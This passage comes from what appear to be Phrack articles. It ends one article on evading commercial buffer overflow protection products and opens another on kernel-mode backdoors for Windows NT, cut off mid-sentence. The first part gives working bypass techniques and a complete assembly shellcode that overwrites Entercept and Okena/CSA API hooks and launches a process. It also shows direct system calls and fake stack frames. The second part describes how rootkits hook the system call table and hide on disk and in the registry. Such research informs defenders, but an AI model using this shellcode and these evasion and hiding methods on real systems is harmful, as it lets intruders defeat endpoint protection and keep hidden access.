if (check_code_page(ret_addr) == BUFFER_OVERFLOW)
return BUFFER_OVERFLOW;
if (does_not_follow_call_or_jmp_opcode(ret_addr))
return BUFFER_OVERFLOW;
ebp = get_next_frame( ebp );
}
[-----------------------------------------------------------]
Pseudo code for BOPT stack backtracing
When discussing how to evade stack backtracing, it is important to
understand how stack backtracing works on an x86 architecture. A typical
stack frame looks as follows during a function call:
: :
|-------------------------|
| function B parameter #2 |
|-------------------------|
| function B parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|=========================|
| function A parameter #2 |
|-------------------------|
| function A parameter #1 |
|-------------------------|
| return EIP address |
|-------------------------|
| saved EBP |
|-------------------------|
: :
The EBP register points to the next stack frame. Without the EBP register
it is very hard, if not impossible, to correctly identify and trace
through all the stack frames.
Modern compilers often omit the use of EBP as a frame pointer and use it
as a general purpose register instead. With an EBP optimization, a stack
frame looks as follows during a function call:
|-----------------------|
| function parameter #2 |
|-----------------------|
| function parameter #1 |
|-----------------------|
| return EIP address |
|-----------------------|
Notice that the EBP register is not present on the stack. Without an EBP
register it is not possible for the buffer overflow detection technologies
to accurately perform stack backtracing. This makes their task incredibly
hard as a simple return into libc style attack will bypass the protection.
Simply originating an API call one layer higher than the BOPT hook defeats
the detection technique.
----[ 3.2 - Faking Stack Frames
Since the stack is under complete control of the shellcode, it is possible
to completely alter its contents prior to an API call. Specially crafted
stack frames can be used to bypass the buffer overflow detectors.
As was explained previously, the buffer overflow detector is looking for
three key indicators of legitimate code: read-only page permissions,
memory mapped file section and a return address pointing to an instruction
immediately following a call or jmp. Since function pointers change
calling semantics, BOPT do not (and cannot) check that a call or jmp
actually points to the API being called. Most importantly, the BOPT cannot
check return addresses beyond the last valid EBP frame pointer
(it cannot stack backtrace any further).
Evading a BOPT is therefore simply a matter of creating a "final" stack
frame which has a valid return address. This valid return address must
point to an instruction residing in a read-only memory mapped file section
and immediately following a call or jmp. Provided that the dummy return
address is reasonably close to a second return address, the shellcode can
easily regain control.
The ideal instruction sequence to point the dummy return address to is:
[-----------------------------------------------------------]
jmp [eax] ; or call [eax], or another register
dummy_return: ... ; some number of nops or easily
; reversed instructions, e.g. inc eax
ret ; any return will do, e.g. ret 8
[-----------------------------------------------------------]
Bypassing kernel BOPT components is easy because they must rely on user
controlled data (the stack) to determine the validity of an API call. By
correctly manipulating the stack, it is possible to prematurely terminate
the stack return address analysis.
This stack backtracing evasion technique is also effective against
userland hooks (see section 4.6).
--[ 4 - Evading Userland Hooks
Given the presence of the correct instruction sequence in a valid region
of memory, it is possible to trivially bypass kernel buffer overflow
protection techniques. Similar techniques can be used to bypass userland
BOPT components. In addition, since the shellcode executes with the same
permissions as the userland hooks, a number of other techniques can be
used to evade the detection.
----[ 4.1 - Implementation Problems - Incomplete API Hooking
There are many problems with the userland based buffer overflow protection
technologies. For example, they require the buffer overflow protection
code to be in the code path of all attacker's calls or the shellcode
execution will go undetected.
Trying to determine what an attacker will do with his or her shellcode
a priori is an extremely hard problem, if not an impossible one. Getting
on the right path is not easy. Some of the obstacles in the way include:
a. Not accounting for both UNICODE and ANSI versions of a Win32 API
call.
b. Not following the chaining nature of API calls. For example,
many functions in kernel32.dll are nothing more than wrappers for
other functions within kernel32.dll or ntdll.dll.
c. The constantly changing nature of the Microsoft Windows API.
--------[ 4.1.1 - Not Hooking All API Versions
A commonly encountered mistake with userland API hooking
implementations is incomplete code path coverage. In order for an API
interception based products to be effective, all APIs utilized by
attackers must be hooked. This requires the buffer overflow protection
technology to hook somewhere along the code path an attacker _has_ to
take. However, as will be shown, once an attacker has begun executing
code, it becomes very difficult for third party systems to cover all
code paths. Indeed, no tested commercial buffer overflow detector actually
provided an effective code path coverage.
Many Windows API functions have two versions: ANSI and UNICODE. The ANSI
function names usually end in A, and UNICODE functions end in W because
of their wide character nature. The ANSI functions are often nothing
more than wrappers that call the UNICODE version of the API. For example,
CreateFileA takes the ANSI file name that was passed as a parameter and
turns it into an UNICODE string. It then calls CreateFileW. Unless a
vendor hooks both the UNICODE and ANSI version of the API function, an
attacker can bypass the protection mechanism by simply calling the other
version of the function.
For example, Entercept 4.1 hooks LoadLibraryA, but it makes no attempt
to intercept LoadLibraryW. If a protection mechanism was only going to
hook one version of a function, it would make more sense to hook the
UNICODE version. For this particular function, Okena/CSA does a better
job by hooking LoadLibraryA, LoadLibraryW, LoadLibraryExA, and
LoadLibraryExW. Unfortunately for the third party buffer overflow
detectors, simply hooking more functions in kernel32.dll is not enough.
--------[ 4.1.2 - Not Hooking Deeply Enough
In Windows NT, kernel32.dll acts as a wrapper for ntdll.dll and yet many
buffer overflow detection products do not hook functions within ntdll.dll.
This simple error is similar to not hooking both the UNICODE and ANSI
versions of a function. An attacker can simply call the ntdll.dll directly
and completely bypass all the kernel32.dll "checkpoints" established by a
buffer overflow detector.
For example, NAI Entercept tries to detect shellcode calling
GetProcAddress() in kernel32.dll. However, the shellcode can be rewritten
to call LdrGetProcedureAddress() in ntdll.dll, which will accomplish the
same goal, and at the same time never pass through the NAI Entercept hook.
Similarly, shellcode can completely bypass userland hooks altogether and
make system calls directly (see section 4.5).
--------[ 4.1.3 - Not Hooking Thoroughly Enough
The interactions between the various different Win32 API functions is
byzantine, complex and difficult to understand. A vendor must make only
one mistake in order to create a window of opportunity for an attacker.
For example, Okena/CSA and NAI Entercept both hook WinExec trying to
prevent attacker's shellcode from spawning a process.
The call path for WinExec looks like this:
WinExec() --> CreateProcessA() --> CreateProcessInternalA()
Okena/CSA and NAI Entercept hook both WinExec() and CreateProcessA()
(see Appendix A and B). However, neither product hooks
CreateProcessInternalA() (exported by kernel32.dll). When writing a
shellcode, an attacker could find the export for
CreateProcessInternalA() and use it instead of calling WinExec().
CreateProcessA() pushes two NULLs onto the stack before calling
CreateProcessInternalA(). Thus a shellcode only needs to push two NULLs
and then call CreateProcessInternalA() directly to evade the userland
API hooks of both products.
As new DLLs and APIs are released, the complexity of Win32 API internal
interactions increases, making the problem worse. Third party product
vendors are at a severe disadvantage when implementing their buffer
overflow detection technologies and are bound to make mistakes which
can be exploited by attackers.
----[ 4.2 - Fun With Trampolines
Most Win32 API functions begin with a five byte preamble. First, EBP is
pushed onto the stack, then ESP is moved into EBP.
[-----------------------------------------------------------]
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
[-----------------------------------------------------------]
Both Okena/CSA and Entercept use inline function hooking. They overwrite
the first 5 bytes of a function with an immediate unconditional jump or
call. For example, this is what the first few bytes of WinExec() look like
after NAI Entercept's hooks have been installed:
[-----------------------------------------------------------]
Code Bytes Assembly
e8 xx xx xx xx call xxxxxxxx
54 push esp
53 push ebx
56 push esi
57 push edi
[-----------------------------------------------------------]
Alternatively, the first few bytes could be overwritten with a jump
instruction:
[-----------------------------------------------------------]
Code Bytes Assembly
e9 xx xx xx xx jmp xxxxxxxx
...
[-----------------------------------------------------------]
Obviously, it is easy for shellcode to test for these and other signatures
before calling a function. If a hijacking mechanism is detected, the
shellcode can use several different techniques to bypass the hook.
------[ 4.2.1 - Patch Table Jumping
When an API is hooked, the original preamble is saved into a table so that
the buffer overflow detector can recreate the original API after
performing its validation checks. The preamble is stored in a patch table,
which resides somewhere in the address space of an application. When
shellcode detects the presence of an API hook, it can simply search for
the patch table and make its calls to patch table entries. This
completely avoids the hook, preventing the userland buffer overflow
detector components from ever being in the attacker's call path.
------[ 4.2.2 - Hook Hopping
Alternatively, instead of locating the patch table, shellcode can include
its own copy of the original pre-hook preamble. After executing its own
API preamble, the shellcode can transfer execution to immediately after
the API hook (function address plus five bytes).
Since Intel x86 has variable length instructions, one must take this into
account in order to land on an even instruction boundary:
[-----------------------------------------------------------]
Shellcode:
call WinExecPreamble
WinExecPreamble:
push ebp
mov ebp, esp
sub esp, 54
jmp WinExec+6
[-----------------------------------------------------------]
This technique will not work if another function within the call path
is also hooked. In this case, Entercept also hooks CreateProcessA(),
which WinExec() calls. Thus, to evade detection shellcode should call
CreateProcessA() using the stored copy of CreateProcessA's preamble.
----[ 4.3 - Repatching Win32 APIs
Thoroughly hooking Win32 APIs is not effective when certain fundamental
errors are made in the implementation of a userland buffer overflow
detection component.
Certain implementations (NAI Entercept) have a serious problem with the
way they perform their API hooking. In order to be able to overwrite
preambles of hooked functions, the code section for a DLL has to be made
writable. Entercept marks code sections of kernel32.dll and ntdll.dll as
writable in order to be able to modify their contents. However, Entercept
never resets the writable bit!
Due to this serious security flaw, it is possible for an attacker to
overwrite the API hook by re-injecting the original preamble code. For
the WinExec() and CreateProcessA() examples, this would require
overwriting the first 6 bytes (just to be instruction aligned) of
WinExec() and CreateProcessA() with the original preamble.
[-----------------------------------------------------------]
WinExecOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
83ec54 sub esp, 54
CreateProcessAOverWrite:
Code Bytes Assembly
55 push ebp
8bec mov ebp, esp
ff752c push DWORD PTR [ebp+2c]
[-----------------------------------------------------------]
This technique will not work against properly implemented buffer overflow
detectors, however it is very effective against NAI Entercept. A complete
shellcode example which overwrites the NAI Entercept hooks is presented
below:
[-----------------------------------------------------------]
// This sample code overwrites the preamble of WinExec and
// CreateProcessA to avoid detection. The code then
// calls WinExec with a "calc.exe" parameter.
// The code demonstrates that by overwriting function
// preambles, it is able to evade Entercept and Okena/CSA
// buffer overflow protection.
_asm {
pusha
jmp JUMPSTART
START:
pop ebp
xor eax, eax
mov al, 0x30
mov eax, fs:[eax];
mov eax, [eax+0xc];
// We now have the module_item for ntdll.dll
mov eax, [eax+0x1c]
// We now have the module_item for kernel32.dll
mov eax, [eax]
// Image base of kernel32.dll
mov eax, [eax+0x8]
movzx ebx, word ptr [eax+3ch]
// pe.oheader.directorydata[EXPORT=0]
mov esi, [eax+ebx+78h]
lea esi, [eax+esi+18h]
// EBX now has the base module address
mov ebx, eax
lodsd
// ECX now has the number of function names
mov ecx, eax
lodsd
add eax,ebx
// EDX has addresses of functions
mov edx,eax
lodsd
// EAX has address of names
add eax,ebx
// Save off the number of named functions
// for later
push ecx
// Save off the address of the functions
push edx
RESETEXPORTNAMETABLE:
xor edx, edx
INITSTRINGTABLE:
mov esi, ebp // Beginning of string table
inc esi
MOVETHROUGHTABLE:
mov edi, [eax+edx*4]
add edi, ebx // EBX has the process base address
xor ecx, ecx
mov cl, BYTE PTR [ebp]
test cl, cl
jz DONESTRINGSEARCH
STRINGSEARCH: // ESI points to the function string table
repe cmpsb
je Found
// The number of named functions is on the stack
cmp [esp+4], edx
je NOTFOUND
inc edx
jmp INITSTRINGTABLE
Found:
pop ecx
shl edx, 2
add edx, ecx
mov edi, [edx]
add edi, ebx
push edi
push ecx
xor ecx, ecx
mov cl, BYTE PTR [ebp]
inc ecx
add ebp, ecx
jmp RESETEXPORTNAMETABLE
DONESTRINGSEARCH:
OverWriteCreateProcessA:
pop edi
pop edi
push 0x06
pop ecx
inc esi
rep movsb
OverWriteWinExec:
pop edi
push edi
push 0x06
pop ecx
inc esi
rep movsb
CallWinExec:
push 0x03
push esi
call [esp+8]
NOTFOUND:
pop edx
STRINGEXIT:
pop ecx
popa;
jmp EXIT
JUMPSTART:
add esp, 0x1000
call START
WINEXEC:
_emit 0x07
_emit 'W'
_emit 'i'
_emit 'n'
_emit 'E'
_emit 'x'
_emit 'e'
_emit 'c'
CREATEPROCESSA:
_emit 0x0e
_emit 'C'
_emit 'r'
_emit 'e'
_emit 'a'
_emit 't'
_emit 'e'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 'A'
ENDOFTABLE:
_emit 0x00
WinExecOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0x83
_emit 0xec
_emit 0x54
CreateProcessAOverWrite:
_emit 0x06
_emit 0x55
_emit 0x8b
_emit 0xec
_emit 0xff
_emit 0x75
_emit 0x2c
COMMAND:
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'c'
_emit '.'
_emit 'e'
_emit 'x'
_emit 'e'
_emit 0x00
EXIT:
_emit 0x90
// Normally call ExitThread or something here
_emit 0x90
}
[-----------------------------------------------------------]
----[ 4.4 - Attacking Userland Components
While evading the hooks and techniques used by userland buffer overflow
detector components is effective, there exist other mechanisms of
bypassing the detection. Because both the shellcode and the buffer
overflow detector are executing with the same privileges and in the same
address space, it is possible for shellcode to directly attack the
buffer overflow detector userland component.
Essentially, when attacking the buffer overflow detector userland
component the attacker is attempting to subvert the mechanism used to
perform the shellcode detection check. There are only two principle
techniques for shellcode validation checking. Either the data used for the
check is determined dynamically during each hooked API call, or the data
is gathered at process start up and then checked during each call.
In either case, it is possible for an attacker to subvert the process.
------[ 4.4.1 - IAT Patching
Rather than implementing their own versions of memory page information
functions, the commercial buffer overflow protection products simply use
the operating system APIs. In Windows NT, these are implemented in
ntdll.dll. These APIs will be imported into the userland component
(itself a DLL) via its PE Import Table. An attacker can patch vectors
within the import table to alter the location of an API to a function
supplied by the shellcode. By supplying the function used to do the
validation checking by the buffer overflow detector, it is trivial for
an attacker to evade detection.
------[ 4.4.2 - Data Section Patching
For various reasons, a buffer overflow detector might use a pre-built
list of page permissions within the address space. When this is the
case, altering the address of the VirtualQuery() API is not effective.
To subvert the buffer overflow detector, the shellcode has to locate and
modify the data table used by the return address validation routines.
This is a fairly straightforward, although application specific, technique
for subverting buffer overflow prevention technologies.
----[ 4.5 - Calling Syscalls Directly
As mentioned above, rather than using ntdll.dll APIs to make system
calls, it is possible for an attacker to create shellcode which makes
system call directly. While this technique is very effective against
userland components, it obviously cannot be used to bypass kernel based
buffer overflow detectors.
To take advantage of this technique you must understand what parameters a
kernel function uses. These may not always be the same as the parameters
required by the kernel32 or ntdll API versions.
Also, you must know the system call number of the function in question.
You can find this dynamically using a technique similar to the one to find
function addresses. Once you have the address of the ntdll.dll version of
the function you want to call, index into the function one byte and read
the following DWORD. This is the system call number in the system call
table for the function. This is a common trick used by rootkit developers.
Here is the pseudo code for calling NtReadFile system call directly:
...
xor eax, eax
// Optional Key
push eax
// Optional pointer to large integer with the file offset
push eax
push Length_of_Buffer
push Address_of_Buffer
// Before call make room for two DWORDs called the IoStatusBlock
push Address_of_IoStatusBlock
// Optional ApcContext
push eax
// Optional ApcRoutine
push eax
// Optional Event
push eax
// Required file handle
push hFile
// EAX must contain the system call number
mov eax, Found_Sys_Call_Num
// EDX needs the address of the userland stack
lea edx, [esp]
// Trap into the kernel
// (recent Windows NT versions use "sysenter" instead)
int 2e
----[ 4.6 - Faking Stack Frames
As described in section 3.2, kernel based stack backtracing can be
bypassed using fake frames. Same techniques works against userland based
detectors.
To bypass both userland and kernel backtracing, shellcode can create a
fake stack frame without the ebp register on stack. Since stack
backtracing relies on the presence of the ebp register to find the next
stack frame, fake frames can stop backtracing code from tracing past
the fake frame.
Of course, generating a fake stack frame is not going to work when the
EIP register still points to shellcode which resides in a writable
memory segment. To bypass the protection code, shellcode needs to use
an address that lies in a non-writable memory segment. This presents
a problem since shellcode needs a way to eventually regain control of
the execution.
The trick to regaining control is to proxy the return to shellcode
through a "ret" instruction which resides in a non-writable memory
segment. "ret" instruction can be found dynamically by searching memory
for a 0xC3 opcode.
Here is an illustration of a normal LoadLibrary("kernel32.dll") call
that originates from a writable memory segment:
push kernel32_string
call LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to stack-based return_eip
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| return address (return_eip) |
|------------------------------|
As explained before, the buffer overflow protection code executes before
LoadLibrary gets to run. Since the return address (return_eip) is in a
writable memory segment, the protection code logs the overflow
and terminates the process.
Next example illustrates 'proxy through a "ret" instruction' technique:
push return_eip
push kernel32_string
; fake "call LoadLibrary" call
push address_of_ret_instruction
jmp LoadLibrary
return_eip:
.
.
.
LoadLibrary: ; * see below for a stack illustration
.
.
.
ret ; return to non stack-based address_of_ret_instruction
address_of_ret_instruction:
.
.
.
ret ; return to stack-based return_eip
Once again, the buffer overflow protection code executes before
LoadLibrary gets to run. This time though, the stack is setup with a
return address pointing to a non-writable memory segment. In addition,
the ebp register is not present on stack thus the protection code cannot
perform stack backtracing and determine that the return address in the
next stack frame points to a writable segment. This allows the shellcode
to call LoadLibrary which returns to the "ret" instruction. In its turn,
the "ret" instruction pops the next return address off stack
(return_eip) and transfers control to it.
|------------------------------|
| return address (return_eip) |
|------------------------------|
| address of "kernel32.dll" str|
|------------------------------|
| address of "ret" instruction |
|------------------------------|
In addition, any number of arbitrary complex fake stack frames can be
setup to further confuse the protection code.
Here is an example of a fake frame that uses a "ret 8" instruction
instead of simple "ret":
|--------------------------------|
| return address |
|--------------------------------|
| address of "ret" instruction | <- fake frame 2
|--------------------------------|
| any value |
|--------------------------------|
| address of "kernel32.dll" str |
|--------------------------------|
| address of "ret 8" instruction | <- fake frame 1
|--------------------------------|
This causes an extra 32-bit value to be removed from stack, complicating
any kind of analysis even further.
--[ 5 - Conclusions
The majority of commercial security systems do not actually prevent
buffer overflows but rather detect the execution of shellcode. The most
common technology used to detect shellcode is code page permission
checking which relies on stack backtracing.
Stack backtracing involves traversing stack frames and verifying that
the return addresses do not originate from writable memory segments such
as stack or heap areas.
The paper presents a number of different ways to bypass both userland
and kernel based stack backtracing. These range from tampering with
function preambles to creating fake stack frames.
In conclusion, the majority of current buffer overflow protection
implementations are flawed, providing a false sense of security and
little real protection against determined attackers.
Appendix A: Entercept 4.1 Hooks
Entercept hooks a number of functions in userland and in the kernel. Here
is a list of the currently hooked functions as of Entercept 4.1.
User Land
msvcrt.dll
_creat
_read
_write
system
kernel32.dll
CreatePipe
CreateProcessA
GetProcAddress
GetStartupInfoA
LoadLibraryA
PeekNamedPipe
ReadFile
VirtualProtect
VirtualProtectEx
WinExec
WriteFile
advapi32.dll
RegOpenKeyA
rpcrt4.dll
NdrServerInitializeMarshall
user32.dll
ExitWindowsEx
ws2_32.dll
WPUCompleteOverlappedRequest
WSAAddressToStringA
WSACancelAsyncRequest
WSACloseEvent
WSAConnect
WSACreateEvent
WSADuplicateSocketA
WSAEnumNetworkEvents
WSAEventSelect
WSAGetServiceClassInfoA
WSCInstallNameSpace
wininet.dll
InternetSecurityProtocolToStringW
InternetSetCookieA
InternetSetOptionExA
lsasrv.dll
LsarLookupNames
LsarLookupSids2
msv1_0.dll
Msv1_0ExportSubAuthenticationRoutine
Msv1_0SubAuthenticationPresent
Kernel
NtConnectPort
NtCreateProcess
NtCreateThread
NtCreateToken
NtCreateKey
NtDeleteKey
NtDeleteValueKey
NtEnumerateKey
NtEnumerateValueKey
NtLoadKey
NtLoadKey2
NtQueryKey
NtQueryMultipleValueKey
NtQueryValueKey
NtReplaceKey
NtRestoreKey
NtSetValueKey
NtMakeTemporaryObject
NtSetContextThread
NtSetInformationProcess
NtSetSecurityObject
NtTerminateProcess
Appendix B: Okena/Cisco CSA 3.2 Hooks
Okena/CSA hooks many functions in userland but many less in the kernel.
A lot of the userland hooks are the same ones that Entercept hooks.
However, almost all of the functions Okena/CSA hooks in the kernel are
related to altering keys in the Windows registry. Okena/CSA does not
seem as concerned as Entercept about backtracing calls in the kernel.
This leads to an interesting vulnerability, left as an exercise to the
reader.
User Land
kernel32.dll
CreateProcessA
CreateProcessW
CreateRemoteThread
CreateThread
FreeLibrary
LoadLibraryA
LoadLibraryExA
LoadLibraryExW
LoadLibraryW
LoadModule
OpenProcess
VirtualProtect
VirtualProtectEx
WinExec
WriteProcessMemory
ole32.dll
CoFileTimeToDosDateTime
CoGetMalloc
CoGetStandardMarshal
CoGetState
CoResumeClassObjects
CreateObjrefMoniker
CreateStreamOnHGlobal
DllGetClassObject
StgSetTimes
StringFromCLSID
oleaut32.dll
LPSAFEARRAY_UserUnmarshal
urlmon.dll
CoInstall
Kernel
NtCreateKey
NtOpenKey
NtDeleteKey
NtDeleteValueKey
NtSetValueKey
NtOpenProcess
NtWriteVirtualMemory
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x06 of 0x10
|=---------------=[ Kernel-mode backdoors for Windows NT ]=--------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ firew0rker <firew0rker@nteam.ru> ]=----------------=|
|=----------------=[ the nobodies <http://www.nteam.ru> ]=---------------=|
--[ Table of contents
1 - PREFACE
2 - OVERVIEW OF EXISTING KERNEL-MODE BACKDOORS FOR WINDOWS NT
2.1 - NTROOTKIT
2.2 - HE4HOOK
2.3 - SLANRET (IERK, BACKDOOR-ALI)
3 - OBSCURITY ON DISK, IN REGISTRY AND IN MEMORY
4 - MY VARIANT: THORNY PATH
4.1 - SHELL
4.2 - ACTIVATION AND COMMUNICATION WITH REMOTE CLIENT
4.3 - OBSCURITY ON DISK
5 - CONCLUSION
6 - EPILOGUE
7 - LIST OF USED SOURCES
8 - FILES
--[ 1 - Preface
This article is intended for those who know the architecture of the
Windows NT kernel and the principles of operation of NT drivers. This
article examines issues involved in the development of kernel-mode tools
for stealthy remote administration of Windows NT.
Recently there has been a tendency of extending the use of Windows NT
(2000, XP, 2003) from it's classical stronghold as home and
office OS to servers. At the same time, the outdated Windows 9x family is
replaced by the NT family. Because of this it should be evident that remote
administration tools (backdoors) and unnoticeable access tools (rootkits)
for the NT family have a certain value. Most of the published utilities
work in user-mode and can thus be detected by Antivirus tools or by manual
inspection.
It's quite another matter those works in kernel-mode: They can hide
from any user-mode program. Antivirus software will have to suplly kernel-
mode components in order to detect a kernel-mode-backdoor. Software exists
that protects against such backdoors (such as IPD, "Integrity Protection
Driver"), but it's use is not widely spread. Kernel mode backdoors are not
as widely used as they could be due to their relative complexity in comp-
arison with user-mode backdoors.
--[ 2 - Overview of existing Kernel-Mode backdoors for Windows NT
This section briefly reviews existing kernel-mode backdoors for Windows
NT.
----[ 2.1 - Ntrootkit
Ntrootkit (c) by Greg Hoglund and a team of free developers [1] is a
device driver for Windows NT 4.0 and 2000. It's possibilities (implemented
and potential):
- Receiving commands from a remote client. The rk_packet module contains
a simplified IP-stack, which uses free IP-address from the subnet where
the host on which Ntrootkit has been installed is situated.
It's MAC and IP addresses are hardcoded in the source. Connection with
the rootkit at that IP is carried out via a TCP connection to any port.
The available commands in rk_command.c are:
ps - list processes
help - self explainatory
buffertest, echo and debugint - for debugging purpose
hidedir - hide directory/file
hideproc - hide process(es)
sniffkeys - keyboard spy
There are also imcomplete pieces of code: Execute commands received via
a covert channel and starting a Win32-process from a driver (a hard and
complicated task).
- Encrypt all traffic using Schneier's Blowfish algorithm:
rk_blowfish.c is present, but not (yet ?) used
- Self-defense (rk_defense.c) - hide protected objects (in this
case: registry keys), identified by the string "_root_"; redirect
launched processes.
The hiding of processes, directories and files as implemented in
rk_ioman.c is done through hooking the following functions:
NtCreateFile
ZwOpenFile
ZwQueryDirectoryFile
ZwOpenKey
ZwQueryKey
ZwQueryValueKey
ZwEnumerateValueKey
ZwEnumerateKey
ZwSetValueKey
ZwCreateKey
The way to detect this rootkit:
Make direct request to filesystem driver, send IRP to it. There is
one more module that hooks file handling: rk_files.c, adopted from
filemon, but it is not used.
- Starting processes: An unfinished implementation of it can be found
in rk_command.c, another one (which is almost complete and good) is
in rk_exec.c
The implementation suffers from the fact that Zw* functions which are
normally unavailable to drivers directly are called through the system
call interface (int 0x2E), leading to problems with different versions
of the NT family as system call numbers change.
It seems like the work on Ntrootkit is very loosely coordinated: every
developer does what (s)he considers needed or urgent. Ntrootkit does
not achieve complete (or sufficient) invisibility. It creates device
named "Ntroot", visible from User-Mode.
When using Ntrootkit for anything practical, one will need some means
of interaction with the rootkitted system. Shortly: There will be the
need for some sort of shell. Ntrootkit itself can not give out a shell
directly, although it can start a process -- the downside is that the
I/O of that process can not be redirected. One is thus forced to start
something like netcat. It's process can be hidden, but it's TCP-connection
will be visible. The missing redirection of I/O is a big drawback.
However, Ntrootkit development is still in progress, and it will
probably become a fully-functional tool for complete and stealthy remote
administration.
----[ 2.2 - He4Hook
This description is based on [2]. The filesystem access was hooked via
two different methods in the versions up to and including 2.15b6. Only one
of it works at one time, and in versions after 2.15b6 the first method was
removed.
Method A: hook kernel syscalls:
===============================
ZwCreateFile, ZwOpenFile - driver version 1.12 and from 1.17 to
2.15beta6
IoCreateFile - from 1.13 to 2.15beta6
ZwQueryDirectoryFile, ZwClose - before 2.15beta6
Almost all these exported functions (Zw*) have the following function
body:
mov eax, NumberFunction
lea edx, [esp+04h]
int 2eh ; Syscall interface
The "NumberFunction" is the number of the called function in the
syscalls table (which itself can be accessed via the global variable
KeServiceDescriptorTable). This variable points to following structure:
typedef struct SystemServiceDescriptorTable
{
SSD SystemServiceDescriptors[4];
} SSDT, *LPSSDT;
Other structures:
typedef VOID *SSTAT[];
typedef unsigned char SSTPT[];
typedef SSTAT *LPSSTAT;
typedef SSTPT *LPSSTPT;
typedef struct SystemServiceDescriptor
{
LPSSTAT lpSystemServiceTableAddressTable;
ULONG dwFirstServiceIndex;
ULONG dwSystemServiceTableNumEntries;
LPSSTPT lpSystemServiceTableParameterTable;
} SSD, *LPSSD;
The DescriptorTable pointed to by KeServiceDescriptorTable is only
accessible from kernel mode. In User-Mode, there is something called
KeServiceDescriptorTableShadow -- unfortunately it is not exported.
Base services are in
KeServiceDescriptorTable->SystemServiceDescriptors[0]
KeServiceDescriptorTableShadow->SystemServiceDescriptors[0]
KernelMode GUI services are in
KeServiceDescriptorTableShadow->SystemServiceDescriptors[1]
Other elements of that tables were free at moment when [2] was
written, in all versions up to WinNt4(SP3-6) and Win2k build 2195.
Each element of the table is a SSID structure, which contains the
following data:
lpSystemServiceTableAddressTable - A pointer to an array of addresses
of functions that will be called if
a matching syscall is called
dwFirstServiceIndex - Start index for the first function
dwSystemServiceTableNumEntries - Number of services in table
lpSystemServiceTableParameterTable - An array of bytes specifying the
number of bytes from the stack that
will be passed through
In order to hook a system call, He4HookInv replaces the address stored in
KeServiceDescriptorTable->SystemServiceDescriptos[0].lpSystemServiceTableAddressTableIn
with a pointer to it's own table.
One can interface with He4HookInv by adding your own services to the
system call tables. He4HookInv updates both tables:
- KeServiceDescriptorTable
- KeServiceDescriptorTableShadow.
Otherwise, if it updated only KeServiceDescriptorTable, new services
would be unavailable from UserMode. To locate KeServiceDescriptorTable-
Shadow the following technique is used:
The function KeAddSystemServiceTable can be used to add services to the
kernel. It can add services to both tables. Taking into account that its
0-th descriptor is identical, it's possible, by scanning
KeAddSystemServiceTable function's code, to find the address of the shadow
table. You can see how it is done in file He4HookInv.c, function
FindShadowTable(void).
If this method fails for some reason, a hardcoded address is taken
(KeServiceDescriptorTable-0x230) as location of the shadow table. This
address has not changed since WinNT Sp3. Another problem is the search
for the correct index into the function address array. As almost all Zw*
functions have an identical first instruction (mov eax, NumberFunction),
one can get a pointer to the function number easily by adding one byte
to the address exported by ntoskrnl.exe
Method B: (for driver versions 2.11 and higher)
===============================================
The callback tables located in the DRIVER_OBJECT of the file system
drivers are patched: The IRP handlers of the needed drivers are replaced.
This includes replacing the pointers to base function handlers
(DRIVER_OBJECT->MajorFunction) as well as replacing pointers to the
drivers unload procedure (DRIVER_OBJECT->DriverUnload).
The following functions are handled:
IRP_MJ_CREATE
IRP_MJ_CREATE_NAMED_PIPE
IRP_MJ_CREATE_MAILSLOT
IRP_MJ_DIRECTORY_CONTROL -> IRP_MN_QUERY_DIRECTORY
For a more detailed description of the redirection of file operations
refer to the source [2].
----[ 2.3 - Slanret (IERK, Backdoor-ALI)
The source code for this is unavailable -- it was originally disco-
vered by some administrator on his network. It is a normal driver
("ierk8243.sys") which periodically causes BSODs, and is visible as a
service called "Virtual Memory Manager".
"Slanret is technically just one component of a
root kit. It comes with a straightforward backdoor
program: a 27 kilobyte server called "Krei" that
listens on an open port and grants the hacker remote
access to the system. The Slanret component is a
seven kilobyte cloaking routine that burrows into the
system as a device driver, then accepts commands from
the server instructing it on what files or processes
to conceal." [3]
----[ 3. Stealth on disk, in registry and in memory
The lower the I/O interception in a rootkit is performed, the harder
it usually is to detect it's presence. One would think that a reliable
place for interception would be the low-level disk operations (read/write
sectors). This would require handling all filesystems that might be on
the hard disk though: FAT16, FAT32, NTFS.
While FAT was relatively easy to deal with (and some old DOS stealth
viruses used similar techniques) an implementation of something similar
on WinNT is a task for maniacs.
A second place to hook would be hooking dispatch functions of file-
system drivers: Patch DriverObject->MajorFunction and FastIoDispatch in
memory or patch the drivers on disk. This has the advantage of being re-
latively universal and is the method used in HE4HookInv.
A third possibility is setting a filter on a filesyste driver (FSD).
This has no advantages in comparison with the previous method, but has
the drawback of being more visible (Filemon uses this approach). The
functions Zw*, Io* can then be hooked either by manipulating the Ke-
ServiceDescriptorTable or directly patching the function body. It is
usually quite easy to detect that pointers in KeServiceDescriptorTable
point to strange locations or that the function body of a function has
changed. A filter driver is also easy to detect by calling IoGetDevice-
ObjectPointer and then checking DEVICE_OBJECT->StackSize.
All normal drivers have their own keys in the registry, namely in
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.
The abovementioned rootkits can hide registry keys, but obviously,
if the system is booted "cleanly", an administrator can see anything that
was hidden. One can also load a rootkit using ZwSetSystemInformation(
SystemLoadAndCallimage) without the need to create any registry keys. An
example of this technique can be found in [6].
A rootkit loader in a separate file is too unstealthy. It might be a
smarter move to patch that call into some executable file which is part of
the system boot. One can use any driver or user-mode program that works
with sufficient privileges, or any DLL linked to by it. One has to ask one
question though: If the newly introduced changes need to be hidden anyway,
why make two similar but differing procedures (for hiding changes to a
file as well as hiding the existance of a file) instead of limiting our-
selves to one ?
In most cases one can target null.sys. Implementing it's functionality
is as easy as "hello world", and that is why it is usually replaced with a
trojan. But if we are going to have a procedure for hiding changes to a
